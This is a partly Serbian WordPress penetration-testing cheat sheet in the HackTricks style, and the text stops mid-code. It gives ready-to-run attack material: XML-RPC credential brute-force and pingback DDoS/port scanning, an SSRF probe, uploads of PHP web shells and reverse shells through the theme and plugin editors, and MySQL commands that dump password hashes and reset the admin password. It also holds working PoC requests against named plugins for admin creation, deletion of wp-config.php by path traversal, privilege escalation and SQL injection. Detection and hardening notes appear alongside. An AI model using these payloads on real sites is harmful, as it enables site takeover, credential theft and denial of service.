# Wordpress
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
- **Uploaded** files go to: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
- **Themes files can be found in /wp-content/themes/,** tako da ako promenite neki php fajl teme da biste dobili RCE verovatno ćete koristiti taj path. Na primer: Koristeći **theme twentytwelve** možete **access** fajl **404.php** na: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **Another useful url could be:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- U **wp-config.php** možete naći root lozinku baze podataka.
- Default login paths to check: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
### **Main WordPress Files**
- `index.php`
- `license.txt` sadrži korisne informacije kao što je verzija WordPress-a koja je instalirana.
- `wp-activate.php` se koristi za proces aktivacije putem email-a prilikom podešavanja novog WordPress sajta.
- Login folders (may be renamed to hide it):
- `/wp-admin/login.php`
- `/wp-admin/wp-login.php`
- `/login.php`
- `/wp-login.php`
- `xmlrpc.php` je fajl koji predstavlja funkcionalnost WordPress-a koja omogućava prenos podataka koristeći HTTP kao transportni mehanizam i XML kao šemu enkodiranja. Ovaj tip komunikacije je zamenjen WordPress [REST API](https://developer.wordpress.org/rest-api/reference).
- Folder `wp-content` je glavna mapa u kojoj se čuvaju plugins i themes.
- `wp-content/uploads/` je direktorijum gde se čuvaju fajlovi koje su učitani na platformu.
- `wp-includes/` Ovo je direktorijum gde se nalaze core fajlovi, kao što su sertifikati, fontovi, JavaScript fajlovi i widget-i.
- `wp-sitemap.xml` U Wordpress verzijama 5.5 i novijim, Wordpress generiše sitemap XML fajl sa svim javnim postovima i javno queryable post type-ovima i taxonomies.
**Post exploitation**
- Fajl `wp-config.php` sadrži informacije potrebne WordPress-u za konekciju na bazu podataka kao što su ime baze, host baze, username i password, authentication keys i salts, i prefiks tabela baze podataka. Ovaj konfiguracioni fajl se takođe može koristiti za aktiviranje DEBUG moda, što može biti korisno pri rešavanju problema.
### Users Permissions
- **Administrator**
- **Editor**: Publish and manages his and others posts
- **Author**: Publish and manage his own posts
- **Contributor**: Write and manage his posts but cannot publish them
- **Subscriber**: Browser posts and edit their profile
## **Passive Enumeration**
### **Get WordPress version**
Proverite da li možete pronaći fajlove `/license.txt` ili `/readme.html`
Unutar **source code** stranice (primer sa [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
- grep
```bash
curl https://victim.com/ | grep 'content="WordPress'
```
- `meta name`
.png>)
- CSS link datoteke
.png>)
- JavaScript datoteke
.png>)
### Preuzmi dodatke
```bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
### Preuzimanje tema
```bash
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
### Izdvajanje verzija uopšteno
```bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
## Aktivna enumeracija
### Dodaci i teme
Verovatno nećete moći da pronađete sve Plugins i Themes koje su moguće. Da biste otkrili sve, moraćete da **actively Brute Force a list of Plugins and Themes** (nadamo se da za nas postoje automatizovani alati koji sadrže te liste).
### Korisnici
- **ID Brute:** Dobijate validne korisnike sa WordPress sajta Brute Forcing users IDs:
```bash
curl -s -I -X GET http://blog.example.com/?author=1
```
Ako su odgovori **200** ili **30X**, to znači da je id **validan**. Ako je odgovor **400**, onda je id **nevalidan**.
- **wp-json:** Takođe možete pokušati da dobijete informacije o korisnicima upitom:
```bash
curl http://blog.example.com/wp-json/wp/v2/users
```
Još jedan `/wp-json/` endpoint koji može otkriti neke informacije o korisnicima je:
```bash
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
```
Imajte na umu da ovaj endpoint izlaže samo korisnike koji su napravili post. **Biće dostupne samo informacije o korisnicima kojima je ova funkcija omogućena**.
Takođe imajte na umu da **/wp-json/wp/v2/pages** može leak IP addresses.
- **Login username enumeration**: Prilikom prijave na **`/wp-login.php`** **poruka** je **različita** i ukazuje da li **korisničko ime postoji ili ne**.
### XML-RPC
Ako je `xml-rpc.php` aktivan možete izvesti credentials brute-force ili ga koristiti za pokretanje DoS napada na druge resurse. (Na primer, možete automatizovati ovaj proces [using this](https://github.com/relarizky/wpxploit)).
Da biste proverili da li je aktivan pokušajte da pristupite _**/xmlrpc.php**_ i pošaljete ovaj zahtev:
**Provera**
```html
system.listMethods
```

**Credentials Bruteforce**
**`wp.getUserBlogs`**, **`wp.getCategories`** ili **`metaWeblog.getUsersBlogs`** su neke od metoda koje se mogu koristiti za brute-force credentials. Ako pronađete bilo koju od njih, možete poslati nešto poput:
```html
wp.getUsersBlogsadminpass
```
Poruka _"Incorrect username or password"_ u odgovoru sa statusnim kodom 200 treba да се појави ако креденцијали нису валидни.
 (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
.png>)
Koristeći ispravne kredencijale možete uploadovati fajl. U odgovoru će se pojaviti putanja ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
```html
wp.uploadFile1usernamepasswordnamefilename.jpgtypemime/typebits
```
Also there is a **faster way** to brute-force credentials using **`system.multicall`** as you can try several credentials on the same request:
**Bypass 2FA**
Ova metoda je namenjena programima, a ne ljudima, i stara je, zato ne podržava 2FA. Dakle, ako imate validne creds ali je glavni pristup zaštićen 2FA, **možda ćete moći da zloupotrebite xmlrpc.php da se ulogujete tim creds i zaobiđete 2FA**. Imajte na umu da nećete moći da izvršite sve akcije koje možete iz konzole, ali i dalje biste mogli da dođete do RCE kao što Ippsec objašnjava u [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
**DDoS or port scanning**
Ako možete da pronađete metodu _**pingback.ping**_ u listi, možete naterati Wordpress da pošalje proizvoljan zahtev na bilo koji host/port.\
Ovo se može iskoristiti da se zamoli **hiljade** Wordpress **sajtova** da **pristupe** jednoj **lokaciji** (tako se prouzrokuje **DDoS** na toj lokaciji) ili možete to koristiti da naterate **Wordpress** da **skenira** neku internu **mrežu** (možete navesti bilo koji port).
```html
pingback.pinghttp://:http://
```

Ako dobijete **faultCode** sa vrednošću **većom** od **0** (17), to znači da je port otvoren.
Pogledajte upotrebu **`system.multicall`** u prethodnom odeljku da biste naučili kako da zloupotrebite ovu metodu i izazovete DDoS.
**DDoS**
```html
pingback.pinghttp://target/http://yoursite.com/and_some_valid_blog_post_url
```
.png>)
### wp-cron.php DoS
Ovaj fajl se obično nalazi u korenu Wordpress sajta: **`/wp-cron.php`**\
Kada se ovom fajlu **pristupi**, izvršava se "**težak**" MySQL **upit**, pa ga **napadači** mogu iskoristiti da prouzrokuju **DoS**.\
Takođe, podrazumevano se `wp-cron.php` poziva pri svakom učitavanju stranice (kad god klijent zatraži bilo koju Wordpress stranicu), što na sajtovima sa velikim saobraćajem može izazvati probleme (DoS).
Preporučuje se onemogućiti Wp-Cron i napraviti pravi cronjob na hostu koji će u redovnim intervalima izvršavati potrebne radnje (bez izazivanja problema).
### /wp-json/oembed/1.0/proxy - SSRF
Pokušajte da pristupite _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ i Worpress sajt može napraviti zahtev ka vama.
This is the response when it doesn't work:
.png>)
## SSRF
{{#ref}}
https://github.com/t0gu/quickpress/blob/master/core/requests.go
{{#endref}}
Ovaj alat proverava da li postoji **methodName: pingback.ping** i putanja **/wp-json/oembed/1.0/proxy**, i ukoliko postoje, pokušava da ih iskoristi.
## Automatski alati
```bash
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"
```
## Dobijanje pristupa prepisivanjem bita
Više je radoznalost nego stvarni napad. U CTF-u [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) mogao si flip-ovati 1 bit u bilo kojem wordpress fajlu. Dakle, mogao si flip-ovati bit na poziciji `5389` fajla `/var/www/html/wp-includes/user.php` i time NOP-ovati NOT (`!`) operaciju.
```php
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
```
## **Panel RCE**
**Modifikovanje php fajla iz korišćene teme (potrebni admin kredencijali)**
Appearance → Theme Editor → 404 Template (sa desne strane)
Promeni sadržaj u php shell:
.png>)
Pretraži internet kako možeš da pristupiš toj ažuriranoj stranici. U ovom slučaju treba da pristupiš ovde: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
### MSF
Možeš koristiti:
```bash
use exploit/unix/webapp/wp_admin_shell_upload
```
da bi se dobila sesija.
## Plugin RCE
### PHP plugin
It may be possible to upload .php files as a plugin.\
Create your php backdoor using for example:
.png>)
Then add a new plugin:
.png>)
Upload plugin and press Install Now:
.png>)
Click on Procced:
.png>)
Probably this won't do anything apparently, but if you go to Media, you will see your shell uploaded:
.png>)
Access it and you will see the URL to execute the reverse shell:
.png>)
### Uploading and activating malicious plugin
Ova metoda podrazumeva instalaciju malicioznog plugina za koji je poznato da je ranjiv i koji se može iskoristiti za dobijanje web shella. Ovaj proces se izvodi preko WordPress dashboard-a na sledeći način:
1. **Plugin Acquisition**: Plugin se preuzima sa izvora kao što je Exploit DB, na primer [**ovde**](https://www.exploit-db.com/exploits/36374).
2. **Plugin Installation**:
- U WordPress dashboard-u idite na `Dashboard > Plugins > Upload Plugin`.
- Otpremite zip fajl preuzetog plugina.
3. **Plugin Activation**: Kada je plugin uspešno instaliran, mora biti aktiviran kroz dashboard.
4. **Exploitation**:
- Sa instaliranim i aktiviranim pluginom "reflex-gallery" može se iskoristiti jer je poznato da je ranjiv.
- Metasploit framework pruža exploit za ovu ranjivost. Učitavanjem odgovarajućeg modula i izvršavanjem specifičnih komandi može se uspostaviti meterpreter sesija, koja daje neovlašćen pristup sajtu.
- Napominje se da je ovo samo jedna od mnogih metoda za eksploataciju WordPress sajta.
Sadržaj uključuje vizuelna pomagala koja prikazuju korake u WordPress dashboard-u za instalaciju i aktiviranje plugina. Međutim, važno je napomenuti da je eksploatisanje ranjivosti na ovaj način protivzakonito i neetično bez odgovarajuće autorizacije. Ove informacije treba koristiti odgovorno i samo u pravnom kontekstu, kao što je penetration testing uz izričitu dozvolu.
**For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
## Od XSS do RCE
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ je skripta dizajnirana da eskalira **Cross-Site Scripting (XSS)** ranjivost u **Remote Code Execution (RCE)** ili druge kritične ranjivosti u WordPress-u. Za više informacija pogledajte [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Pruža **support for Wordpress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:**
- _**Privilege Escalation:**_ Kreira korisnika u WordPress-u.
- _**(RCE) Custom Plugin (backdoor) Upload:**_ Otpremite vaš custom plugin (backdoor) u WordPress.
- _**(RCE) Built-In Plugin Edit:**_ Uredite ugrađeni plugin u WordPress-u.
- _**(RCE) Built-In Theme Edit:**_ Uredite ugrađenu temu u WordPress-u.
- _**(Custom) Custom Exploits:**_ Custom exploit-i za third-party WordPress plugine/teme.
## Post Exploitation
Izvucite korisnička imena i lozinke:
```bash
mysql -u --password= -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
```
Promeni admin lozinku:
```bash
mysql -u --password= -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
```
## Wordpress Dodaci Pentest
### Površina napada
Znati kako Wordpress dodatak može izložiti funkcionalnost ključno je za pronalaženje ranjivosti u njegovoj funkcionalnosti. Možete videti kako dodatak može izložiti funkcionalnost u sledećim tačkama i neke primere ranjivih dodataka u [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/).
- **`wp_ajax`**
Jedan od načina na koji dodatak može izložiti funkcije korisnicima je preko AJAX handlera. Ovi mogu sadržavati greške u logici, autorizaciji ili autentifikaciji. Štaviše, prilično često ove funkcije zasnivaju i autentifikaciju i autorizaciju na postojanju Wordpress nonce-a koji **bilo koji korisnik autentifikovan u Wordpress instanci može imati** (bez obzira na njegovu ulogu).
Ovo su funkcije koje se mogu koristiti za izlaganje funkcije u dodatku:
```php
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
```
**Korišćenje `nopriv` čini endpoint dostupnim bilo kojem korisniku (čak i neautentifikovanim).**
> [!CAUTION]
> Štaviše, ako funkcija samo proverava autorizaciju korisnika pomoću funkcije `wp_verify_nonce`, ta funkcija samo proverava da li je korisnik prijavljen, obično ne proverava ulogu korisnika. Dakle, korisnici sa niskim privilegijama mogu imati pristup radnjama visokih privilegija.
- **REST API**
Takođe je moguće izložiti funkcije iz wordpress-a registrujući REST API koristeći funkciju `register_rest_route`:
```php
register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);
```
The `permission_callback` is a callback funkcija koja proverava da li je dati korisnik autorizovan da pozove API metodu.
**If the built-in `__return_true` function is used, it'll simply skip user permissions check.**
- **Direktan pristup php fajlu**
Naravno, Wordpress koristi PHP i fajlovi unutar pluginova su direktno dostupni sa weba. Dakle, ako neki plugin izlaže ranjivu funkcionalnost koja se aktivira samo pristupom fajlu, biće eksploatabilna od strane bilo kog korisnika.
### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
Neki pluginovi implementiraju “trusted header” prečice za interne integracije ili reverse proxies i zatim koriste taj header da postave trenutni korisnički kontekst za REST zahteve. Ako header nije kriptografski vezan za zahtev od strane upstream komponente, napadač ga može falsifikovati i pristupiti privilegovanim REST rutama kao administrator.
- Uticaj: neautentifikovano eskaliranje privilegija do admina kreiranjem novog administratora putem core users REST rute.
- Primer header-a: `X-Wcpay-Platform-Checkout-User: 1` (forsira korisnički ID 1, obično prvi administratorski nalog).
- Eksploatisana ruta: `POST /wp-json/wp/v2/users` sa nizom povišenih uloga.
PoC
```http
POST /wp-json/wp/v2/users HTTP/1.1
Host:
User-Agent: Mozilla/5.0
Accept: application/json
Content-Type: application/json
X-Wcpay-Platform-Checkout-User: 1
Content-Length: 114
{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}
```
Why it works
- Plugin mapira header koji kontroliše klijent na stanje autentifikacije i preskače provere privilegija.
- WordPress core očekuje `create_users` capability za ovu rutu; plugin hack to zaobilazi direktnim postavljanjem konteksta trenutnog korisnika iz headera.
Expected success indicators
- HTTP 201 sa JSON telom koje opisuje kreiranog korisnika.
- Novi admin korisnik vidljiv u `wp-admin/users.php`.
Detection checklist
- Grep za `getallheaders()`, `$_SERVER['HTTP_...']`, ili vendor SDK-ove koji čitaju custom header-e da postave kontekst korisnika (npr. `wp_set_current_user()`, `wp_set_auth_cookie()`).
- Pregledajte REST registracije za privilegovane callback-ove koji nemaju robusne provere `permission_callback` i umesto toga se oslanjaju na request header-e.
- Tražite upotrebu core funkcija za upravljanje korisnicima (`wp_insert_user`, `wp_create_user`) unutar REST handler-a koje su ograničene samo vrednostima header-a.
Hardening
- Nikada ne izvlačite autentifikaciju ili autorizaciju iz header-a koji kontroliše klijent.
- Ako reverse proxy mora ubaciti identitet, završite poverenje na proxy-ju i uklonite ulazne kopije (npr. `unset X-Wcpay-Platform-Checkout-User` na edge-u), zatim prosledite potpisani token i verifikujte ga na serveru.
- Za REST rute koje izvršavaju privilegovane akcije, zahtevajte provere `current_user_can()` i strogi `permission_callback` (NE koristite `__return_true`).
- Preferirajte first-party auth (cookies, application passwords, OAuth) umesto header “impersonation”.
References: see the links at the end of this page for a public case and broader analysis.
### Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0)
WordPress themes and plugins frequently expose AJAX handlers through the `wp_ajax_` and `wp_ajax_nopriv_` hooks. When the **_nopriv_** variant is used **the callback becomes reachable by unauthenticated visitors**, so any sensitive action must additionally implement:
1. A **capability check** (e.g. `current_user_can()` or at least `is_user_logged_in()`), and
2. A **CSRF nonce** validated with `check_ajax_referer()` / `wp_verify_nonce()`, and
3. **Strict input sanitisation / validation**.
The Litho multipurpose theme (< 3.1) forgot those 3 controls in the *Remove Font Family* feature and ended up shipping the following code (simplified):
```php
function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
return;
}
$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
$upload_dir = wp_upload_dir();
$srcdir = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
$filesystem = Litho_filesystem::init_filesystem();
if ( file_exists( $srcdir ) ) {
$filesystem->delete( $srcdir, FS_CHMOD_DIR );
}
die();
}
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
```
* **Neautentifikovan pristup** – the `wp_ajax_nopriv_` hook je registrovan.
* **No nonce / capability check** – bilo koji posetilac može pozvati endpoint.
* **Nema sanitizacije putanje** – korisnički kontrolisana `fontfamily` string se konkatenira u filesystem putanju bez filtriranja, što omogućava klasičan `../../` traversal.
#### Exploitation
Napadač može obrisati bilo koji fajl ili direktorijum **ispod osnovnog uploads direktorijuma** (obično `/wp-content/uploads/`) slanjem jednog HTTP POST zahteva:
```bash
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'
```
Pošto `wp-config.php` živi izvan *uploads*, četiri `../` sekvence su dovoljne za podrazumevanu instalaciju. Brisanjem `wp-config.php` WordPress se pri sledećoj poseti prisiljava da pokrene *čarobnjak za instalaciju*, što omogućava potpuno preuzimanje sajta (napadač samo obezbeđuje novu DB konfiguraciju i kreira admin korisnika).
Drugi značajni ciljevi uključuju plugin/theme `.php` fajlove (npr. da onesposobe security plugins) ili `.htaccess` pravila.
#### Kontrolna lista za detekciju
* Bilo koji `add_action( 'wp_ajax_nopriv_...')` callback koji poziva funkcije za rad sa fajl sistemom (`copy()`, `unlink()`, `$wp_filesystem->delete()`, itd.).
* Konkatenacija nesanitizovanih korisničkih inputa u putanjama (tražite `$_POST`, `$_GET`, `$_REQUEST`).
* Nedostatak `check_ajax_referer()` i `current_user_can()`/`is_user_logged_in()`.
#### Ojačavanje
```php
function secure_remove_font_family() {
if ( ! is_user_logged_in() ) {
wp_send_json_error( 'forbidden', 403 );
}
check_ajax_referer( 'litho_fonts_nonce' );
$fontfamily = sanitize_file_name( wp_unslash( $_POST['fontfamily'] ?? '' ) );
$srcdir = trailingslashit( wp_upload_dir()['basedir'] ) . 'litho-fonts/' . $fontfamily;
if ( ! str_starts_with( realpath( $srcdir ), realpath( wp_upload_dir()['basedir'] ) ) ) {
wp_send_json_error( 'invalid path', 400 );
}
// … proceed …
}
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_family' );
// 🔒 NO wp_ajax_nopriv_ registration
```
> [!TIP]
> **Uvek** tretirajte svaku operaciju pisanja/brisanja na disku kao privilegovanu i dvaput proverite:
> • Authentication • Authorisation • Nonce • Input sanitisation • Path containment (e.g. via `realpath()` plus `str_starts_with()`).
---
### Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role")
Mnogi pluginovi implementiraju funkciju "view as role" ili privremenu promenu role tako što čuvaju originalne role u user meta kako bi ih kasnije mogli vratiti. Ako put vraćanja zavisi samo od request parametara (npr. `$_REQUEST['reset-for']`) i liste koju održava plugin bez provere capabilities i validnog nonce-a, ovo postaje vertical privilege escalation.
Primer iz stvarnog sveta pronađen je u Admin and Site Enhancements (ASE) pluginu (≤ 7.6.2.1). Reset grana vraćala je role na osnovu `reset-for=` ako se korisničko ime pojavilo u internoj nizu `$options['viewing_admin_as_role_are']`, ali nije izvršila ni `current_user_can()` proveru ni nonce verifikaciju pre uklanjanja trenutnih rola i ponovnog dodavanja sačuvanih rola iz user meta `_asenha_view_admin_as_original_roles`:
```php
// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
$reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] );
$usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? [];
if ( in_array( $reset_for_username, $usernames, true ) ) {
$u = get_user_by( 'login', $reset_for_username );
foreach ( $u->roles as $role ) { $u->remove_role( $role ); }
$orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true );
foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}
```
Zašto je iskoristivo
- Veruje `$_REQUEST['reset-for']` i opciji plugina bez autorizacije na serverskoj strani.
- Ako je korisnik ranije imao veće privilegije sačuvane u `_asenha_view_admin_as_original_roles` i kasnije mu je smanjen nivo, može ih vratiti tako što će pozvati reset path.
- U nekim implementacijama, bilo koji autentifikovani korisnik može pokrenuti reset za drugo korisničko ime koje je još uvek prisutno u `viewing_admin_as_role_are` (neispravna autorizacija).
Preduslovi napada
- Ranjiva verzija plugina sa omogućenом funkcionalnošću.
- Ciljni nalog ima zastarelu ulogu sa visokim privilegijama sačuvanu u user meta iz ranije upotrebe.
- Bilo koja autentifikovana sesija; nedostaje nonce/capability u reset flow-u.
Eksploatacija (primer)
```bash
# While logged in as the downgraded user (or any auth user able to trigger the code path),
# hit any route that executes the role-switcher logic and include the reset parameter.
# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks.
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for='
```
Na ranjivim buildovima ovo uklanja trenutne uloge i ponovo dodaje sačuvane originalne uloge (npr. `administrator`), što dovodi do eskalacije privilegija.
Detection checklist
- Tražite funkcije za prebacivanje uloga koje čuvaju “original roles” u user meta (npr. `_asenha_view_admin_as_original_roles`).
- Identifikujte putanje za reset/restore koje:
- Čitaju korisnička imena iz `$_REQUEST` / `$_GET` / `$_POST`.
- Menjaju uloge preko `add_role()` / `remove_role()` bez `current_user_can()` i `wp_verify_nonce()` / `check_admin_referer()`.
- Autorizuju se na osnovu plugin option niza (npr. `viewing_admin_as_role_are`) umesto na osnovu capabilities izvršioca.
Hardening
- Obavezno proveravajte capabilities za svaki deo koda koji menja stanje (npr. `current_user_can('manage_options')` ili strože).
- Zahtevajte nonces za sve izmene uloga/dozvola i verifikujte ih: `check_admin_referer()` / `wp_verify_nonce()`.
- Nikad ne verujte korisničkim imenima poslatim u requestu; razrešite ciljног korisnika server-side na osnovu autentifikovanog aktera i eksplicitne politike.
- Poništite stanje “original roles” pri ažuriranju profila/uloga kako biste izbegli vraćanje zastarelih visokoprivilegovanih uloga:
```php
add_action( 'profile_update', function( $user_id ) {
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
}, 10, 1 );
```
- Razmislite o čuvanju minimalnog stanja i korišćenju vremenski ograničenih tokena, zaštićenih pomoću capability, za privremene promene uloga.
---
### Unauthenticated privilege escalation via cookie‑trusted user switching on public init (Service Finder “sf-booking”)
Neki plugins povezuju user-switching helper-e na javni `init` hook i izvlače identitet iz client-controlled cookie-ja. Ako kod pozove `wp_set_auth_cookie()` bez provere authentication, capability i validnog nonce-a, bilo koji neautentifikovani posetilac može prisilno da se uloguje kao proizvoljan user ID.
Typical vulnerable pattern (simplified from Service Finder Bookings ≤ 6.1):
```php
function service_finder_submit_user_form(){
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
$user_id = intval( sanitize_text_field($_GET['switch_user']) );
service_finder_switch_user($user_id);
}
if ( isset($_GET['switch_back']) ) {
service_finder_switch_back();
}
}
add_action('init', 'service_finder_submit_user_form');
function service_finder_switch_back() {
if ( isset($_COOKIE['original_user_id']) ) {
$uid = intval($_COOKIE['original_user_id']);
if ( get_userdata($uid) ) {
wp_set_current_user($uid);
wp_set_auth_cookie($uid); // 🔥 sets auth for attacker-chosen UID
do_action('wp_login', get_userdata($uid)->user_login, get_userdata($uid));
setcookie('original_user_id', '', time() - 3600, '/');
wp_redirect( admin_url('admin.php?page=candidates') );
exit;
}
wp_die('Original user not found.');
}
wp_die('No original user found to switch back to.');
}
```
Zašto je moguće iskoristiti
- Javni `init` hook čini handler dostupnim neautentifikovanim korisnicima (nema provere `is_user_logged_in()`).
- Identitet se izvodi iz kolačića koji klijent može menjati (`original_user_id`).
- Direktan poziv `wp_set_auth_cookie($uid)` prijavljuje zahtevaoca kao tog korisnika bez provera capability/nonce.
Eksploatacija (bez autentifikacije)
```http
GET /?switch_back=1 HTTP/1.1
Host: victim.example
Cookie: original_user_id=1
User-Agent: PoC
Connection: close
```
---
### Razmatranja WAF-a za WordPress/plugin CVE-ove
Generički edge/server WAF-ovi su podešeni za široke obrasce (SQLi, XSS, LFI). Mnoge visokorizične WordPress/plugin ranjivosti su greške specifične za aplikacionu logiku ili autorizaciju koje izgledaju kao benigni saobraćaj, osim ako mehanizam ne razume WordPress rute i semantiku plugina.
Ofanzivne napomene
- Ciljajte endpoint-e specifične za plugin sa čistim payloads: `admin-ajax.php?action=...`, `wp-json//`, custom file handlers, shortcodes.
- Prvo testirajte neautentifikovane puteve (AJAX `nopriv`, REST sa permisivnim `permission_callback`, public shortcodes). Default payloads često uspevaju bez obfuskacije.
- Tipični slučajevi visokog uticaja: eskalacija privilegija (broken access control), arbitrary file upload/download, LFI, open redirect.
Odbrambene napomene
- Nemojte se oslanjati na generičke WAF potpise da štite plugin CVE-ove. Implementirajte application-layer, vulnerability-specific virtual patches ili ažurirajte brzo.
- Preferirajte positive-security provere u kodu (capabilities, nonces, strict input validation) umesto negativnih regex filtera.
## Zaštita WordPress-a
### Redovna ažuriranja
Uverite se da su WordPress, plugins, i teme ažurirani. Takođe potvrdite da je automatsko ažuriranje omogućeno u wp-config.php:
```bash
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
```
Takođe, **instalirajte samo pouzdane WordPress plugine i teme**.
### Sigurnosni dodaci
- [**Wordfence Security**](https://wordpress.org/plugins/wordfence/)
- [**Sucuri Security**](https://wordpress.org/plugins/sucuri-scanner/)
- [**iThemes Security**](https://wordpress.org/plugins/better-wp-security/)
### **Ostale preporuke**
- Uklonite podrazumevanog **admin** korisnika
- Koristite **jake lozinke** i **2FA**
- Periodično **pregledajte** **dozvole** korisnika
- **Ograničite pokušaje prijave** da sprečite Brute Force napade
- Preimenujte fajl **`wp-admin.php`** i dozvolite pristup samo interno ili sa određenih IP adresa.
### Unauthenticated SQL Injection via insufficient validation (WP Job Portal <= 2.3.2)
WP Job Portal recruitment plugin izložio je zadatak **savecategory** koji na kraju izvršava sledeći ranjivi kod unutar `modules/category/model.php::validateFormData()`:
```php
$category = WPJOBPORTALrequest::getVar('parentid');
$inquery = ' ';
if ($category) {
$inquery .= " WHERE parentid = $category "; // <-- direct concat ✗
}
$query = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
```
Problemi uvedeni ovim isječkom:
1. **Nesanitizovan korisnički unos** – `parentid` dolazi direktno iz HTTP zahteva.
2. **Konkatenacija stringova u WHERE klauzuli** – nema `is_numeric()` / `esc_sql()` / prepared statement.
3. **Mogućnost pristupa bez autentikacije** – iako se akcija izvršava preko `admin-post.php`, jedina provera je **CSRF nonce** (`wp_verify_nonce()`), koju bilo koji posetilac može preuzeti sa javne stranice koja sadrži shortcode `[wpjobportal_my_resumes]`.
#### Eksploatacija
1. Preuzmite svež nonce:
```bash
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
```
2. Injektujte proizvoljan SQL zloupotrebom `parentid`:
```bash
curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \
-d '_wpnonce=' \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='
```
Odgovor otkriva rezultat injektovanog upita ili menja bazu podataka, dokazujući SQLi.
### Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
Još jedan zadatak, **downloadcustomfile**, omogućavao je posetiocima da preuzmu **bilo koju datoteku na disku** putem path traversal. Ranjivi sink se nalazi u `modules/customfield/model.php::downloadCustomUploadedFile()`:
```php
$file = $path . '/' . $file_name;
...
